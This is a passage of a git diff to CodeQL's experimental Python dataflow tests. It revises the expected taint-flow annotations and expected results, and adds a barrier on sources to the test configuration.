execute the body of the function: calling the iterator’s iterator.__next__() method will cause the function to execute until it provides a value using the yield statement. When the function executes a return statement or falls off the end, a StopIteration exception is raised and the iterator will have reached the end of the set of values to be returned. @@ -156,4 +156,4 @@ customized = Customized() SINK(Customized.a) SINK_F(Customized.b) SINK(customized.a) -SINK(customized.b) #$ flow="SOURCE, l:152 -> customized.b" flow="'source', l:13 -> customized.b" +SINK(customized.b) #$ flow="SOURCE, l:152 -> customized.b" diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 616837a9d3b..2a1f7dca58c 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -41,7 +41,7 @@ def SINK_F(x): def test_tuple_with_local_flow(): x = (NONSOURCE, SOURCE) y = x[1] - SINK(y) #$ flow="SOURCE, l:42 -> y" flow="'source', l:20 -> y" + SINK(y) #$ flow="SOURCE, l:42 -> y" def test_tuple_negative(): @@ -53,13 +53,13 @@ def test_tuple_negative(): # 6.2.1. Identifiers (Names) def test_names(): x = SOURCE - SINK(x) #$ flow="SOURCE, l:55 -> x" flow="'source', l:20 -> x" + SINK(x) #$ flow="SOURCE, l:55 -> x" # 6.2.2. Literals def test_string_literal(): x = "source" - SINK(x) #$ flow="'source', l:61 -> x" + SINK(x) #$ flow="'source', l:61 -> x" def test_bytes_literal(): @@ -85,13 +85,13 @@ def test_imagnumber_literal(): # 6.2.3. Parenthesized forms def test_parenthesized_form(): x = (SOURCE) - SINK(x) #$ flow="SOURCE, l:87 -> x" flow="'source', l:20 -> x" + SINK(x) #$ flow="SOURCE, l:87 -> x" # 6.2.5. List displays def test_list_display(): x = [SOURCE] - SINK(x[0]) #$ flow="SOURCE, l:93 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:93 -> x[0]" def test_list_display_negative(): @@ -101,109 +101,109 @@ def test_list_display_negative(): def test_list_comprehension(): x = [SOURCE for y in [NONSOURCE]] - SINK(x[0]) #$ flow="SOURCE, l:103 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:103 -> x[0]" def test_list_comprehension_flow(): x = [y for y in [SOURCE]] - SINK(x[0]) #$ flow="SOURCE, l:108 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:108 -> x[0]" def test_list_comprehension_inflow(): l = [SOURCE] x = [y for y in l] - SINK(x[0]) #$ flow="SOURCE, l:113 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:113 -> x[0]" def test_nested_list_display(): x = [*[SOURCE]] - SINK(x[0]) #$ MISSING:flow="SOURCE, l:119 -> x[0]" MISSING:flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:119 -> x[0]" # 6.2.6. Set displays def test_set_display(): x = {SOURCE} - SINK(x.pop()) #$ flow="SOURCE, l:125 -> x.pop()" flow="'source', l:20 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:125 -> x.pop()" def test_set_comprehension(): x = {SOURCE for y in [NONSOURCE]} - SINK(x.pop()) #$ flow="SOURCE, l:130 -> x.pop()" flow="'source', l:20 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:130 -> x.pop()" def test_set_comprehension_flow(): x = {y for y in [SOURCE]} - SINK(x.pop()) #$ flow="SOURCE, l:135 -> x.pop()" flow="'source', l:20 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:135 -> x.pop()" def test_set_comprehension_inflow(): l = {SOURCE} x = {y for y in l} - SINK(x.pop()) #$ flow="SOURCE, l:140 -> x.pop()" flow="'source', l:20 -> x.pop()" + SINK(x.pop()) #$ flow="SOURCE, l:140 -> x.pop()" def test_nested_set_display(): x = {*{SOURCE}} - SINK(x.pop()) #$ MISSING:flow="SOURCE, l:146 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" + SINK(x.pop()) #$ MISSING:flow="SOURCE, l:146 -> x.pop()" # 6.2.7. Dictionary displays def test_dict_display(): x = {"s": SOURCE} - SINK(x["s"]) #$ flow="SOURCE, l:152 -> x['s']" flow="'source', l:20 -> x['s']" + SINK(x["s"]) #$ flow="SOURCE, l:152 -> x['s']" def test_dict_display_pop(): x = {"s": SOURCE} - SINK(x.pop("s")) #$ flow="SOURCE, l:157 -> x.pop(..)" flow="'source', l:20 -> x.pop(..)" + SINK(x.pop("s")) #$ flow="SOURCE, l:157 -> x.pop(..)" def test_dict_comprehension(): x = {y: SOURCE for y in ["s"]} - SINK(x["s"]) #$ MISSING:flow="SOURCE, l:152 -> x['s']" MISING:flow="'source', l:20 -> x['s']" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:152 -> x['s']" def test_dict_comprehension_pop(): x = {y: SOURCE for y in ["s"]} - SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:167 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:167 -> x.pop()" def test_nested_dict_display(): x = {**{"s": SOURCE}} - SINK(x["s"]) #$ MISSING:flow="SOURCE, l:172 -> x['s']" MISING:flow="'source', l:20 -> x['s']" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:172 -> x['s']" def test_nested_dict_display_pop(): x = {**{"s": SOURCE}} - SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:177 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:177 -> x.pop()" # Nested comprehensions def test_nested_comprehension(): x = [y for z in [[SOURCE]] for y in z] - SINK(x[0]) #$ flow="SOURCE, l:183 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:183 -> x[0]" def test_nested_comprehension_deep_with_local_flow(): x = [y for v in [[[[SOURCE]]]] for u in v for z in u for y in z] - SINK(x[0]) #$ flow="SOURCE, l:188 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:188 -> x[0]" def test_nested_comprehension_dict(): d = {"s": [SOURCE]} x = [y for k, v in d.items() for y in v] - SINK(x[0]) #$ MISSING:flow="SOURCE, l:193 -> x[0]" MISING:flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:193 -> x[0]" def test_nested_comprehension_paren(): x = [y for y in (z for z in [SOURCE])] - SINK(x[0]) #$ flow="SOURCE, l:199 -> x[0]" flow="'source', l:20 -> x[0]" + SINK(x[0]) #$ flow="SOURCE, l:199 -> x[0]" # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) - SINK([*x][0]) #$ MISSING:flow="SOURCE, l:205 -> List[0]" MISING:flow="'source', l:20 -> List[0]" + SINK([*x][0]) #$ MISSING:flow="SOURCE, l:205 -> List[0]" # 6.2.9. Yield expressions @@ -213,7 +213,7 @@ def gen(x): def test_yield(): g = gen(SOURCE) - SINK(next(g)) #$ MISSING:flow="SOURCE, l:215 -> next()" MISING:flow="'source', l:20 -> next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:215 -> next()" def gen_from(x): @@ -222,19 +222,19 @@ def gen_from(x): def test_yield_from(): g = gen_from(SOURCE) - SINK(next(g)) #$ MISSING:flow="SOURCE, l:224 -> next()" MISING:flow="'source', l:20 -> next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:224 -> next()" # a statement rather than an expression, but related to generators def test_for(): for x in gen(SOURCE): - SINK(x) #$ MISSING:flow="SOURCE, l:230 -> x" MISING:flow="'source', l:20 -> x" + SINK(x) #$ MISSING:flow="SOURCE, l:230 -> x" # 6.2.9.1. Generator-iterator methods def test___next__(): g = gen(SOURCE) - SINK(g.__next__()) #$ MISSING:flow="SOURCE, l:236 -> g.__next__()" MISSING:flow="'source', l:20 -> g.__next__()" + SINK(g.__next__()) #$ MISSING:flow="SOURCE, l:236 -> g.__next__()" def gen2(x): @@ -246,7 +246,7 @@ def gen2(x): def test_send(): g = gen2(NONSOURCE) n = next(g) - SINK(g.send(SOURCE)) #$ MISSING:flow="SOURCE -> g.send()" MISSING:flow="'source', l:20 -> g.send()" + SINK(g.send(SOURCE)) #$ MISSING:flow="SOURCE -> g.send()" def gen_ex(x): @@ -259,7 +259,7 @@ def gen_ex(x): def test_throw(): g = gen_ex(SOURCE) n = next(g) - SINK(g.throw(TypeError)) #$ MISSING:flow="SOURCE, l:260 -> g.throw()" MISSING:flow="'source', l:20 -> g.throw()" + SINK(g.throw(TypeError)) #$ MISSING:flow="SOURCE, l:260 -> g.throw()" # no `test_close` as `close` involves no data flow @@ -280,7 +280,7 @@ def runa(a): async def atest___anext__(): g = agen(SOURCE) - SINK(await g.__anext__()) #$ MISSING:flow="SOURCE, l:282 -> g.__anext__()" MISSING:flow="'source', l:20 -> g.__anext__()" + SINK(await g.__anext__()) #$ MISSING:flow="SOURCE, l:282 -> g.__anext__()" def test___anext__(): @@ -296,7 +296,7 @@ async def agen2(x): async def atest_asend(): g = agen2(NONSOURCE) n = await g.__anext__() - SINK(await g.asend(SOURCE)) #$ MISSING:flow="SOURCE -> g.asend()" MISSING:flow="'source', l:20 -> g.asend()" + SINK(await g.asend(SOURCE)) #$ MISSING:flow="SOURCE -> g.asend()" def test_asend(): @@ -313,7 +313,7 @@ async def agen_ex(x): async def atest_athrow(): g = agen_ex(SOURCE) n = await g.__anext__() - SINK(await g.athrow(TypeError)) #$ MISSING:flow="SOURCE, l:314 -> g.athrow()" MISSING:flow="'source', l:20 -> g.athrow()" + SINK(await g.athrow(TypeError)) #$ MISSING:flow="SOURCE, l:314 -> g.athrow()" def test_athrow(): @@ -326,22 +326,22 @@ class C: def test_attribute_reference(): - SINK(C.a) #$ MISSING:flow="SOURCE, l:325 -> C.a" MISSING:flow="'source', l:20 -> C.a" + SINK(C.a) #$ MISSING:flow="SOURCE, l:325 -> C.a" # overriding __getattr__ should be tested by the class coverage tests # 6.3.2. Subscriptions def test_subscription_tuple(): - SINK((SOURCE,)[0]) #$ flow="SOURCE -> Tuple[0]" flow="'source', l:20 -> Tuple[0]" + SINK((SOURCE,)[0]) #$ flow="SOURCE -> Tuple[0]" def test_subscription_list(): - SINK([SOURCE][0]) #$ flow="SOURCE -> List[0]" flow="'source', l:20 -> List[0]" + SINK([SOURCE][0]) #$ flow="SOURCE -> List[0]" def test_subscription_mapping(): - SINK({"s": SOURCE}["s"]) #$ flow="SOURCE -> Dict['s']" flow="'source', l:20 -> Dict['s']" + SINK({"s": SOURCE}["s"]) #$ flow="SOURCE -> Dict['s']" # overriding __getitem__ should be tested by the class coverage tests @@ -353,7 +353,7 @@ l = [SOURCE] def test_slicing(): s = l[0:1:1] - SINK(s[0]) #$ MISSING:flow="SOURCE -> s[0]" MISSING:flow="'source', l:20 -> s[0]" + SINK(s[0]) #$ MISSING:flow="SOURCE -> s[0]" # The grammar seems to allow `l[0:1:1, 0:1]`, but the interpreter does not like it @@ -364,7 +364,7 @@ def second(a, b): def test_call_positional(): - SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" def test_call_positional_negative(): @@ -372,7 +372,7 @@ def test_call_positional_negative(): def test_call_keyword(): - SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" def test_call_unpack_iterable(): @@ -380,7 +380,7 @@ def test_call_unpack_iterable(): def test_call_unpack_mapping(): - SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" def f_extra_pos(a, *b): @@ -388,7 +388,7 @@ def f_extra_pos(a, *b): def test_call_extra_pos(): - SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" flow="'source', l:20 -> f_extra_pos(..)" + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" def f_extra_keyword(a, **b): @@ -396,7 +396,7 @@ def f_extra_keyword(a, **b): def test_call_extra_keyword(): - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" flow="'source', l:20 -> f_extra_keyword(..)" + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" # return the name of the first extra keyword argument @@ -406,18 +406,18 @@ def f_extra_keyword_flow(**a): # call the function with our source as the name of the keyword arguemnt def test_call_extra_keyword_flow(): - SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" MISSING:flow="'source', l:20 -> f_extra_keyword(..)" + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" # 6.12. Assignment expressions def test_assignment_expression(): x = NONSOURCE - SINK(x := SOURCE) #$ MISSING:flow="SOURCE -> x" MISSING:flow="'source', l:20 -> x" + SINK(x := SOURCE) #$ MISSING:flow="SOURCE -> x" # 6.13. Conditional expressions def test_conditional_true(): - SINK(SOURCE if True else NONSOURCE) #$ flow="SOURCE -> IfExp" flow="'source', l:20 -> IfExp" + SINK(SOURCE if True else NONSOURCE) #$ flow="SOURCE -> IfExp" def test_conditional_true_guards(): @@ -425,7 +425,7 @@ def test_conditional_true_guards(): def test_conditional_false(): - SINK(NONSOURCE if False else SOURCE) #$ flow="SOURCE -> IfExp" flow="'source', l:20 -> IfExp" + SINK(NONSOURCE if False else SOURCE) #$ flow="SOURCE -> IfExp" def test_conditional_false_guards(): @@ -435,13 +435,13 @@ def test_conditional_false_guards(): # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_true(): x = NONSOURCE - SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) #$ MISSING:flow="SOURCE -> IfExp" MISSING:flow="'source', l:20 -> IfExp" + SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) #$ MISSING:flow="SOURCE -> IfExp" # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_false(): x = NONSOURCE - SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) #$ MISSING:flow="SOURCE -> IfExp" MISSING:flow="'source', l:20 -> IfExp" + SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) #$ MISSING:flow="SOURCE -> IfExp" # 6.14. Lambdas @@ -449,14 +449,14 @@ def test_lambda(): def f(x): return x - SINK(f(SOURCE)) #$ flow="SOURCE -> f(..)" flow="'source', l:20 -> f(..)" + SINK(f(SOURCE)) #$ flow="SOURCE -> f(..)" def test_lambda_positional(): def second(a, b): return b - SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" def test_lambda_positional_negative(): @@ -470,50 +470,50 @@ def test_lambda_keyword(): def second(a, b): return b - SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" def test_lambda_unpack_iterable(): def second(a, b): return b - SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" MISSING:flow="'source', l:20 -> second(..)" # Flow missing + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" # Flow missing def test_lambda_unpack_mapping(): def second(a, b): return b - SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" def test_lambda_extra_pos(): f_extra_pos = lambda a, *b: b[0] - SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" flow="'source', l:20 -> f_extra_pos(..)" + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" def test_lambda_extra_keyword(): f_extra_keyword = lambda a, **b: b["b"] - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" flow="'source', l:20 -> f_extra_keyword(..)" + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" # call the function with our source as the name of the keyword argument def test_lambda_extra_keyword_flow(): # return the name of the first extra keyword argument f_extra_keyword_flow = lambda **a: [*a][0] - SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" MISSING:flow="'source', l:20 -> f_extra_keyword(..)" + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" @expects(4) def test_swap(): a = SOURCE b = NONSOURCE - SINK(a) #$ flow="SOURCE, l:509 -> a" flow="'source', l:20 -> a" + SINK(a) #$ flow="SOURCE, l:509 -> a" SINK_F(b) a, b = b, a SINK_F(a) - SINK(b) #$ flow="SOURCE, l:509 -> b" flow="'source', l:20 -> b" + SINK(b) #$ flow="SOURCE, l:509 -> b" def test_deep_callgraph(): @@ -538,7 +538,7 @@ def test_deep_callgraph(): return f5(arg) x = f6(SOURCE) - SINK(x) #$ MISSING:flow="SOURCE, l:540 -> x" MISING:flow="'source', l:20 -> x" + SINK(x) #$ MISSING:flow="SOURCE, l:540 -> x" @expects(2) diff --git a/python/ql/test/experimental/dataflow/fieldflow/dataflow.expected b/python/ql/test/experimental/dataflow/fieldflow/dataflow.expected index 168ff7e66ce..2301e52f08f 100644 --- a/python/ql/test/experimental/dataflow/fieldflow/dataflow.expected +++ b/python/ql/test/experimental/dataflow/fieldflow/dataflow.expected @@ -1,34 +1,17 @@ edges | examples.py:27:8:27:12 | [post arg] ControlFlowNode for myobj [Attribute foo] | examples.py:28:6:28:10 | ControlFlowNode for myobj [Attribute foo] | | examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:27:8:27:12 | [post arg] ControlFlowNode for myobj [Attribute foo] | -| examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:35:13:35:13 | ControlFlowNode for x | -| examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | -| examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | | examples.py:28:6:28:10 | ControlFlowNode for myobj [Attribute foo] | examples.py:28:6:28:14 | ControlFlowNode for Attribute | | examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:35:13:35:13 | ControlFlowNode for x | -| examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | -| examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | | examples.py:35:1:35:1 | [post read] ControlFlowNode for a [Attribute obj, Attribute foo] | examples.py:37:6:37:6 | ControlFlowNode for a [Attribute obj, Attribute foo] | | examples.py:35:1:35:5 | [post store] ControlFlowNode for Attribute [Attribute foo] | examples.py:35:1:35:1 | [post read] ControlFlowNode for a [Attribute obj, Attribute foo] | | examples.py:35:13:35:13 | ControlFlowNode for x | examples.py:35:1:35:5 | [post store] ControlFlowNode for Attribute [Attribute foo] | | examples.py:37:6:37:6 | ControlFlowNode for a [Attribute obj, Attribute foo] | examples.py:37:6:37:10 | ControlFlowNode for Attribute [Attribute foo] | | examples.py:37:6:37:10 | ControlFlowNode for Attribute [Attribute foo] | examples.py:37:6:37:14 | ControlFlowNode for Attribute | -| examples.py:40:5:40:10 | ControlFlowNode for SOURCE | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | -| examples.py:40:5:40:10 | ControlFlowNode for SOURCE | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | | examples.py:49:7:49:19 | ControlFlowNode for MyObj() [Attribute foo] | examples.py:50:6:50:8 | ControlFlowNode for obj [Attribute foo] | | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | examples.py:49:7:49:19 | ControlFlowNode for MyObj() [Attribute foo] | -| examples.py:49:13:49:18 | ControlFlowNode for SOURCE | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | | examples.py:50:6:50:8 | ControlFlowNode for obj [Attribute foo] | examples.py:50:6:50:12 | ControlFlowNode for Attribute | | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:49:19:49:24 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:56:18:56:23 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:61:9:61:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:71:9:71:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:81:17:81:22 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:86:21:86:26 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:97:33:97:38 | ControlFlowNode for SOURCE | -| test.py:3:1:3:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | -| test.py:3:10:3:17 | ControlFlowNode for Str | test.py:3:1:3:6 | GSSA Variable SOURCE | | test.py:49:12:49:16 | [post arg] ControlFlowNode for myobj [Attribute foo] | test.py:50:10:50:14 | ControlFlowNode for myobj [Attribute foo] | | test.py:49:19:49:24 | ControlFlowNode for SOURCE | test.py:49:12:49:16 | [post arg] ControlFlowNode for myobj [Attribute foo] | | test.py:50:10:50:14 | ControlFlowNode for myobj [Attribute foo] | test.py:50:10:50:18 | ControlFlowNode for Attribute | @@ -66,16 +49,12 @@ nodes | examples.py:37:6:37:6 | ControlFlowNode for a [Attribute obj, Attribute foo] | semmle.label | ControlFlowNode for a [Attribute obj, Attribute foo] | | examples.py:37:6:37:10 | ControlFlowNode for Attribute [Attribute foo] | semmle.label | ControlFlowNode for Attribute [Attribute foo] | | examples.py:37:6:37:14 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| examples.py:40:5:40:10 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | examples.py:49:7:49:19 | ControlFlowNode for MyObj() [Attribute foo] | semmle.label | ControlFlowNode for MyObj() [Attribute foo] | | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | examples.py:50:6:50:8 | ControlFlowNode for obj [Attribute foo] | semmle.label | ControlFlowNode for obj [Attribute foo] | | examples.py:50:6:50:12 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | semmle.label | ControlFlowNode for fields_with_local_flow() | | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module test | -| test.py:3:1:3:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | -| test.py:3:10:3:17 | ControlFlowNode for Str | semmle.label | ControlFlowNode for Str | | test.py:49:12:49:16 | [post arg] ControlFlowNode for myobj [Attribute foo] | semmle.label | [post arg] ControlFlowNode for myobj [Attribute foo] | | test.py:49:19:49:24 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:50:10:50:14 | ControlFlowNode for myobj [Attribute foo] | semmle.label | ControlFlowNode for myobj [Attribute foo] | @@ -110,28 +89,13 @@ nodes | test.py:97:33:97:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | #select | examples.py:28:6:28:14 | ControlFlowNode for Attribute | examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:28:6:28:14 | ControlFlowNode for Attribute | Flow found | -| examples.py:37:6:37:14 | ControlFlowNode for Attribute | examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:37:6:37:14 | ControlFlowNode for Attribute | Flow found | | examples.py:37:6:37:14 | ControlFlowNode for Attribute | examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:37:6:37:14 | ControlFlowNode for Attribute | Flow found | -| examples.py:50:6:50:12 | ControlFlowNode for Attribute | examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:50:6:50:12 | ControlFlowNode for Attribute | Flow found | -| examples.py:50:6:50:12 | ControlFlowNode for Attribute | examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:50:6:50:12 | ControlFlowNode for Attribute | Flow found | -| examples.py:50:6:50:12 | ControlFlowNode for Attribute | examples.py:40:5:40:10 | ControlFlowNode for SOURCE | examples.py:50:6:50:12 | ControlFlowNode for Attribute | Flow found | | examples.py:50:6:50:12 | ControlFlowNode for Attribute | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | examples.py:50:6:50:12 | ControlFlowNode for Attribute | Flow found | -| examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | examples.py:27:15:27:20 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | Flow found | -| examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | examples.py:31:5:31:10 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | Flow found | -| examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | examples.py:40:5:40:10 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | Flow found | -| examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | examples.py:49:13:49:18 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | Flow found | | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | examples.py:59:29:59:34 | ControlFlowNode for SOURCE | examples.py:59:6:59:35 | ControlFlowNode for fields_with_local_flow() | Flow found | -| test.py:50:10:50:18 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:50:10:50:18 | ControlFlowNode for Attribute | Flow found | | test.py:50:10:50:18 | ControlFlowNode for Attribute | test.py:49:19:49:24 | ControlFlowNode for SOURCE | test.py:50:10:50:18 | ControlFlowNode for Attribute | Flow found | -| test.py:57:10:57:18 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:57:10:57:18 | ControlFlowNode for Attribute | Flow found | | test.py:57:10:57:18 | ControlFlowNode for Attribute | test.py:56:18:56:23 | ControlFlowNode for SOURCE | test.py:57:10:57:18 | ControlFlowNode for Attribute | Flow found | -| test.py:67:10:67:18 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:67:10:67:18 | ControlFlowNode for Attribute | Flow found | | test.py:67:10:67:18 | ControlFlowNode for Attribute | test.py:61:9:61:14 | ControlFlowNode for SOURCE | test.py:67:10:67:18 | ControlFlowNode for Attribute | Flow found | -| test.py:77:10:77:18 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:77:10:77:18 | ControlFlowNode for Attribute | Flow found | | test.py:77:10:77:18 | ControlFlowNode for Attribute | test.py:71:9:71:14 | ControlFlowNode for SOURCE | test.py:77:10:77:18 | ControlFlowNode for Attribute | Flow found | -| test.py:82:10:82:16 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:82:10:82:16 | ControlFlowNode for Attribute | Flow found | | test.py:82:10:82:16 | ControlFlowNode for Attribute | test.py:81:17:81:22 | ControlFlowNode for SOURCE | test.py:82:10:82:16 | ControlFlowNode for Attribute | Flow found | -| test.py:87:10:87:16 | ControlFlowNode for Attribute | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:87:10:87:16 | ControlFlowNode for Attribute | Flow found | | test.py:87:10:87:16 | ControlFlowNode for Attribute | test.py:86:21:86:26 | ControlFlowNode for SOURCE | test.py:87:10:87:16 | ControlFlowNode for Attribute | Flow found | -| test.py:97:10:97:39 | ControlFlowNode for fields_with_local_flow() | test.py:3:10:3:17 | ControlFlowNode for Str | test.py:97:10:97:39 | ControlFlowNode for fields_with_local_flow() | Flow found | | test.py:97:10:97:39 | ControlFlowNode for fields_with_local_flow() | test.py:97:33:97:38 | ControlFlowNode for SOURCE | test.py:97:10:97:39 | ControlFlowNode for fields_with_local_flow() | Flow found | diff --git a/python/ql/test/experimental/dataflow/testConfig.qll b/python/ql/test/experimental/dataflow/testConfig.qll index 43fdb48876f..90bd1d47978 100644 --- a/python/ql/test/experimental/dataflow/testConfig.qll +++ b/python/ql/test/experimental/dataflow/testConfig.qll @@ -44,5 +44,7 @@ class TestConfiguration extends DataFlow::Configuration { ) } - override int explorationLimit() { result = 4 } + override predicate isBarrierIn(DataFlow::Node node) { this.isSource(node) } + + override int explorationLimit() { result = 5 } 